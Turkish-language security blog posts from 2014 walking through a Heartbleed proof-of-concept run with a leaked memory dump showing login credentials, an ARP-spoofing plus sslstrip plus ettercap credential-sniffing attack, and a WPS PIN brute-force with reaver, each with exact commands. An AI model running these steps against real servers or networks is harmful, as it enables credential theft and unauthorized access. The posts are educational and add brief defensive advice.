25 Nisan 2014 Cuma

OpenSSL HeartBleed Zafiyeti

7 Nisan 2014 tarihinde OpenSSL in resmi internet sayfasından da onaylanan (CVE-2014-0160) çok kritik bir zafiyet bulundu.

Zafiyet açıklamasına göre, OpenSSL kütüphanesi üzerindeki HeartBeat Prosedüründe yapılması unutulmuş bir sınır/boyut kontrolünden kaynaklanmaktadır. Bu kontrol eksikliği ile sunucu veya istemci üzerinde o anki 64k lık bellek alanına yetkisiz erişim yapılabilmektedir. Kodlama hatasından kaynaklanan bu zafiyet ile OpenSSL kütüphanesi kullanan servislerde saklanan/korunan bilginin ifşası mümkün olmaktadır. Bu bilgiler arasında kullanıcı adı ve parolaları, email adresleri gibi önemli kişisel bilgilerin yanında OpenSSL'in getirdiği güvenlik katmanında kullanılan sunucuya ait private keylerin de olması zafiyeti çok kritik hale getirmektedir.


OpenSSL'i nerede kullandığımıza gelince; internet üzerinde koşan ve milyonlarca insanın kullandığı Google, Twitter, Facebook gibi devlerin de içinde yeraldığı bir çok servis (web, email, instant messaging (IM), VPN, DNS vb.) iletişim güvenliği için OpenSSL kütüphanesi kullanmaktadır ve bu zafiyetten etkilenmişlerdir.



OpenSSL'in zafiyete ilişkin yaptığı açıklama:


Kritik bir zafiyet olması sebebi ile OpenSSL kullanan bütün servislerin test edilmesi ve gerekli güncellemelerin yapılması gerekmektedir.

Jared Stafford tarafından python ile hazırlanmış proof-of-concept kodu github üzerinde https://gist.githubusercontent.com/takeshixx/10107280/raw/8052d8479ad0c6150464748d639b0f5e877e8c37/hb-test.py adresinde mevcuttur.

Bu script yardımı ile zafiyet olup olmadığı görüntülenebilir. Örnek olarak kimlik bilgisi girişi yaptığımız bir sayfayı test edecek olursak, https olarak açtığımız sayfaya giriş bilgilerimizi yazalım.


Daha sonra giriş işlemi sırasında, bir terminal ekranında sunucuya yönelik olarak POC scriptini çalıştıralım.

[nsyilmaz@servailor ~]$ python sslTest.py XXX.YYY.ZZZ.TTT -p 8443
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 58
... received message: type = 22, ver = 0302, length = 961
... received message: type = 22, ver = 0302, length = 525
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C [email protected][...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 4F 72 69 67 ....#.......Orig
00e0: 69 6E 3A 20 68 74 74 70 73 3A 2F 2F -- -- -- 2E in: https://XXX.
00f0: -- -- -- 2E -- -- -- 2E -- -- -- 3A 38 34 34 33 YYY.ZZZ.TTT:8443
0100: 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F ..User-Agent: Mo
0110: 7A 69 6C 6C 61 2F 35 2E 30 20 28 4D 61 63 69 6E zilla/5.0 (Macin
0120: 74 6F 73 68 3B 20 49 6E 74 65 6C 20 4D 61 63 20 tosh; Intel Mac
0130: 4F 53 20 58 20 31 30 5F 37 5F 35 29 20 41 70 70 OS X 10_7_5) App
0140: 6C 65 57 65 62 4B 69 74 2F 35 33 37 2E 33 36 20 leWebKit/537.36
0150: 28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 20 47 65 63 (KHTML, like Gec
0160: 6B 6F 29 20 43 68 72 6F 6D 65 2F 33 34 2E 30 2E ko) Chrome/34.0.
0170: 31 38 34 37 2E 31 31 36 20 53 61 66 61 72 69 2F 1847.116 Safari/
0180: 35 33 37 2E 33 36 0D 0A 43 6F 6E 74 65 6E 74 2D 537.36..Content-
0190: 54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F Type: applicatio
01a0: 6E 2F 78 2D 77 77 77 2D 66 6F 72 6D 2D 75 72 6C n/x-www-form-url
01b0: 65 6E 63 6F 64 65 64 0D 0A 52 65 66 65 72 65 72 encoded..Referer
01c0: 3A 20 68 74 74 70 73 3A 2F 2F -- -- -- 2E 31 33 : https://XXX.YY
01d0: -- 2E -- -- -- 2E -- -- -- 3A 38 34 34 33 2F 6C Y.ZZZ.TTT:8443/l
01e0: 6F 67 69 6E 5F 75 70 2E 70 68 70 33 0D 0A 41 63 ogin_up.php3..Ac
01f0: 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 cept-Encoding: g
0200: 7A 69 70 2C 64 65 66 6C 61 74 65 2C 73 64 63 68 zip,deflate,sdch
0210: 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 ..Accept-Languag
0220: 65 3A 20 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E e: en-US,en;q=0.
0230: 38 2C 74 72 3B 71 3D 30 2E 36 0D 0A 43 6F 6F 6B 8,tr;q=0.6..Cook
0240: 69 65 3A 20 70 73 61 43 6F 6E 74 65 78 74 3D 64 ie: psaContext=d
0250: 61 73 68 62 6F 61 72 64 0D 0A 0D 0A 6C 6F 67 69 ashboard....logi
0260: 6E 5F 6E 61 6D 65 3D 74 65 73 74 2D 75 6E 61 6D n_name=test-unam
0270: 65 26 70 61 73 73 77 64 3D 74 65 73 74 2D 70 77 e&passwd=test-pw
0280: 64 26 6C 6F 63 61 6C 65 5F 69 64 3D 64 65 66 61 d&locale_id=defa
0290: 75 6C 74 26 73 65 6E 64 3D A2 B3 27 08 2C 3A EB ult&send=..'.,:.
02a0: 25 EA FE 37 D5 D2 06 27 51 FF D2 C7 0F BB 71 34 %..7...'Q.....q4
02b0: 64 22 2C 22 63 6C 61 73 73 22 3A 22 68 65 61 6C d","class":"heal
02c0: 74 68 5F 70 61 72 61 6D 65 74 65 72 22 7D 5D 2C th_parameter"}],
02d0: 22 73 65 72 76 65 72 5F 74 61 67 22 3A 31 7D 5D "server_tag":1}]
02e0: 7D 2C 22 73 65 72 76 65 72 22 3A 7B 22 67 65 74 },"server":{"get
02f0: 5F 69 6E 66 6F 22 3A 5B 7B 7D 5D 2C 22 67 65 74 _info":[{}],"get
0300: 5F 73 74 61 74 22 3A 5B 7B 7D 5D 7D 7D A4 43 2C _stat":[{}]}}.C,
0310: 1B F8 59 7B F5 46 CF 4D 66 88 58 76 BC 86 20 26 ..Y{.F.Mf.Xv.. &
0320: 4D 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E M...............
0330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Örnekten de anlaşılacağı gibi zafiyet mevcut ise, https olarak açtığımız sayfaya girdiğimiz kimlik bilgileri uzaktan çalıştırdığımız script yardımı ile sunucu belleğinden alınabilmektedir.

Zafiyetten etkilenmemek için OpenSSL mutlaka güncellenmelidir.

18 Şubat 2014 Salı

Yerel Ağ Üzerinde Gerçekleştirilen Saldırılar

ARP Cache Poisoning ve Ettercap ile Ağ Üzerindeki Log-In Bilgilerinin Çalınması

Kamuya açık ve genellikle güvenliği düşük olabilen bir ağ üzerinden internete bağlandığımızda başımıza gelebilecek kimlik hırsızlığı olaylarındandır.
Kötü niyetli bir kişi, hepimizin bulunduğu mekanlarda bulunup bizimle aynı ağda internete bağlanabilir. Örnek verecek olursak üniversite kampüsleri, hava alanları, kafeteryalar(starbucks lar :)), kütüphaneler ve hatta iş yerimizdeki ağlar. Saldırgan bu ağlardaki tüm kullanıcılara veya hedef seçtiği belirli kişilere arp cache poisoning saldırısı uygulayarak; sosyal ağ(ki bugünlerde hepimizin olmazsa olmazı) şifrelerimizi, mail hesap giriş bilgilerimizi ve hatta internet bankacılığı giriş bilgilerimizi çalabilir !
Temel olarak arp cache poisoning bir MITM(man in the middle)saldırsıdır.
Peki bu saldırı nasıl yapılır ?




1. Hedefin belirlenmesi: Saldırgan normal bir kullanıcı gibi wireless veya ethernet üzerinden ağa bağlanır. Daha sonra ağın adresleme mekanizmasını inceler(ifconfig). Buradan subnet, kendi Ipsi, router Ipsi gibi bilgileri elde ederek ağ üzerinde nmap ile ağdaki diğer kullanıcıları bulmak için bir tarama yapar.







Örneğin burada saldırganın IP adresi 192.168.0.18 dir. Hedef olarak da 192.168.0.17 yi seçtiğini düşünelim.

2. ARP Cache Poisoning saldırısı: Saldırganın bir sonraki adımı arp(adress resolution protocol) ü zehirlemek ve internet ile kurban arasında bir köprü oluşturmaktır.
Bunun için 2 komut yeterlidir:
# arpspoof -t 192.168.0.1 192.168.0.17
# arpspoof -t 192.168.0.17 192.168.0.1




Not: 192.168.0.1 router ın gateway adresidir. Bu iki komut da 2 farklı terminal penceresinde saldırı boyunca açıktır.







Saldırının başarılı olabilmesi için önemli koşullardan birisi 
# echo 1 > /proc/sys/net/ipv4/ip_forward 

komutu ile işletim sisteminin "forwarding" özelliğinin açılmasıdır.


Saldırgan, hedef aldığı kurbanın bütün trafiğine istediği şekilde müdahale edebilecektir. Burada nasıl bir müdahale olabilir? Kurban'ın bütün trafiğini kesebilir, bütün trafiği istediği yere yönlendirebilir, bütün tarifi içinde değişiklik yapabilir, bütün trafiği okuyabilir.


Buradaki senaryomuzda, saldırganın amacı kurbanın login bilgilerini almak olsun. Bu işlem için ettercap kullanılcaktır.


Arpcache bilgisi zehirlenmiş olan kurban, herhangibir HTTP form üzerinde bilgi girişi yaparsa, bu bilgiler saldırgan tarafından ele geçirilecektir. Peki kurban HTTPS üzerinden bir login formu kullanırsa, bu bilgiler nasıl elde edilecek? Unutmayalım ki, saldırgan ortadaki adam (MITM) durumundadır ve SSL protokolü, istemci ile sunucu arasında tamamen şifreli konuşma sağlamaktadır. Dolayısı ile SSL tarfiğinde saldırgan bu hali ile HTTPS login form bilgilerine erişemeyecektir. 


Peki SSL'de araya nasıl girilecek?




3. SSLSTRIP ile ssl konuşmanın engellenerek araya girilmesi: 
SSLstrip, HTTP'den HTTPS'e redirect edilen isteklerde, istemci tarafının bu redirection'ı almadan HTTP konuşmaya devam etmesini amaçlamakta, sunucunun SSL trafiği SSLstrip yani saldırgan üzerinde sonlanmaktadır.

Bu işlemi gerçekleştrimek için, saldırgan SSLStrip'i çalıştırıp, bütün HTTP tarfiğini SSLStrip'in dinlediği port olan 10000'e redirect etmesi gerekmektedir. Bu işlem iptables aracılığı ile gerçekleştirilebilir:


# python sslstrip.py

# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 10000

Bu adımdan sonra, kurbanın girdiği bürün HTTP trafiği sslstrip tarafından işlenmektedir ve HTTPS redirection'lar kurbana hiç gitmemektedir. Böyle bir senaryoda kurban ile saldırgan HTTP, saldırgan ile hedef sunucu HTTPS konuşmakta, açık tarafik saldırgan tarafından görülebildiği için, kurbanın form giriş bilgileri çalınabilmektedir.


Saldırganın buradaki beklentisi, kurbanın giriş yapacağı siteye http üzerinden veya direk browser a gmail.com, facebook.com yazarak girdiğini varsaymasıdır. Aksi taktirde sslstrip ile araya girmesi başarısız olur. Sslstrip backtrack üzerinde /pentest/web/sslstrip/ dizininde bulunmaktadır. Saldırgan tarafından python sslstrip.py komutu ile çalıştırılabilir.





4. Ettercap ile kimliklerin toplanması: Saldırgan, kurbanın bir yere log-in olmasını bekler, bu sırada backtrack altında bulunan ettercap i çalıştırır. Saldırgan, 

# ettercap -Tzq 


komutu yardımı ile ya da user interface şeklinde ettercap i çalıştırıp hedef IP yi seçerek şifreleri toplayabilir. Kurbanın browser'a gmail.com yazmak gibi bir hatada bulunup giriş yaptığı bir senaryoda, saldırgan arka planda sürekli çalışan ettercap'den login bilgilerini sevinçle okur!







Saldırganın son gördüğü : 
user: [email protected] 
pass: ohMyPass!








Burada bu saldırının çalışmasının temel şartı ilk bağlantının HTTP olarak yapılması, çoğumuzun browserlarımızdaki adres çubuğuna gmail.com veya facebook.com şeklinde yazarak bu sitelere girmesidir. Daha sonra bu siteler kendi yönlendirmelerini yapacak ve HTTPS sayfalarından log-in olacaksınızdır. Ama saldırgan yeterince erken davrandıysa HTTP -> HTTPS yönlenmesini keser ve konuşmayı HTTP olarak devam ettirir. Kurbanın gözüne çarpacak tek şey, yeterince dikkatli ise adres çubuğudaki HTTP ifadesi olabilecektir.

Kablosuz Ağ Saldırıları

WPS özelliği olan Wireless Modem / Access Pointlerde WPA1/2 şifrelerinin elde edilmesi

WPS nedir: WPS yeni modemlerde gördüğümüz, ağa bağlanma işlemini kolaylaştıran bir sistemdir. Modem üzerinde ufak bir buton, basıldığı anda modem ve bağlanmak isteyen cihaz arasında bir güvenlik protokolü başlatır. Bu protokol 8 haneli numerik bir PIN den oluşur ve çoğu zaman fabrika ayarında gelen PIN olan 12345670 değiştirilmez. Ayrıca PIN in sadece rakamlardan oluşması brute-force saldırısı ile PIN in kırılıp, modem içerisindeki Wireless PSK yı elde etmeyi kolaylaştırır. Biz de saldırıda bu yöntemi kullanacağız.


Kullanılacak Programlar: airmon-ng, reaver, wash. (Backtrack Linux dağıtımı üzerinde tüm bu programlar mevcut)

1. İlk olarak 

    # ifconfig


komutu ile wireless arayüzümüzün ismini öğreniyoruz. Genellikle bu isim wlan0 oluyor. Resimde gördüğünüz gibi benim makinemde de wlan0.



2. Daha sonra wireless alıcımızdan paket dinlemek için bir monitor arayüzü oluşturmamız gerekiyor. Bunun için 

    # airmon-ng start wlan0


komutunu kullanıyoruz. Bu da genellikle mon0 adında oluşuyor. Komutu çalıştırdığımızda bunu kontrol edebiliriz.




Monitor mode enabled on mon0 diyor. Yani artık mon0 monitörü üzerinden paket dinleme işlemini gerçekleştirebiliriz. Yukarıdaki çıktıda bazı uyarılar veriyor ancak mon0 enabled yazısını görmek bizim için yeterli.

3. Çevremizdeki wireless modemlerden hangilerinin wps enabled(yani saldırımıza uygun) olduğunu bulmak için wash programını kullanabiliriz.

Gerekli komut, yarattığımız mon0 arayüzünü kullanacak.

    # wash -i mon0 -C




Benim aradığım SSID, BOO HOME idi. Listeden bakıyoruz ve ilgili kısmı inceliyoruz. Burda BOO HOME modeminin MAC adresi 00:1C:7B:D1:BC:69 olarak gözüküyor. Burada bir ek not düşmek lazım, bu metodla WPA ve WPA2 şifreleme yapaılmış modem veya access pointleri kırabiliyoruz.

4. Artık hedefin MAC adresini aldığımıza göre saldırıya başlayabiliriz. Reaver programı brute force saldırısı yaparak WPS PIN i kırıyor ve şifreyi de bizim için alabiliyor.

    # reaver –i mon0 –b 00:1C:7B:D1:BC:69 


komutu ile saldırıyoruz. Burada –i ile monitör olan mon0 arayüzünü, -b ile de modemin bssid si olan MAC adresini belirttik. Eğer şanslıysak saniyeler içinde, yok değilsek biraz daha uzun bir sürede şifreyi elde edebiliyoruz J


Son olarak bu saldırından korunmanın en basit ve etkili yolu WPS i modemden kaldırmak yani modemin ayarlarına girip WPS korumasını etkisiz hale getirmek gerekmekte.